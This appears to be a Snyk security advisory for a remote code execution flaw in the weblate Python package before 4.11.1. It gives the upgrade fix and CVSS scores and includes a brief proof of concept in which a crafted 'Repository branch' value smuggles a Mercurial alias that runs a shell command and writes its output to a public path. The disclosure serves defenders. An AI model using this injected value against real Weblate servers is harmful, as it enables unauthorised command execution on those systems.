Remote Code Execution (RCE) Affecting weblate package, versions [0,4.11.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.29% (70th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-WEBLATE-2414088
  • published 4 Mar 2022
  • disclosed 2 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade Weblate to version 4.11.1 or higher.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection when using git or mercurial repositories. Authenticated users, can change the behavior of the application in an unintended way, leading to command execution.

PoC

  1. login into the application: http://localhost:8888/accounts/login/?next=/

  2. Add a new translation project with the following information (http://localhost:8888/create/project/) and then Save:

Project name: poc
URL slug: poc
Project website: http://localhost
  1. Add new translation component with the following information (http://localhost:8888/create/component/?project=1) and then click Continue:
Version control system: Mercurial
Source code repository: http://localhost:8888
Repository branch: --config=alias.pull=!id>/app/cache/static/output_rce.txt
  1. the output of the command id is at http://localhost:8888/static/output_rce.txt

CVSS Scores

version 3.1
Expand this section

Snyk

7.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    High
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.8 high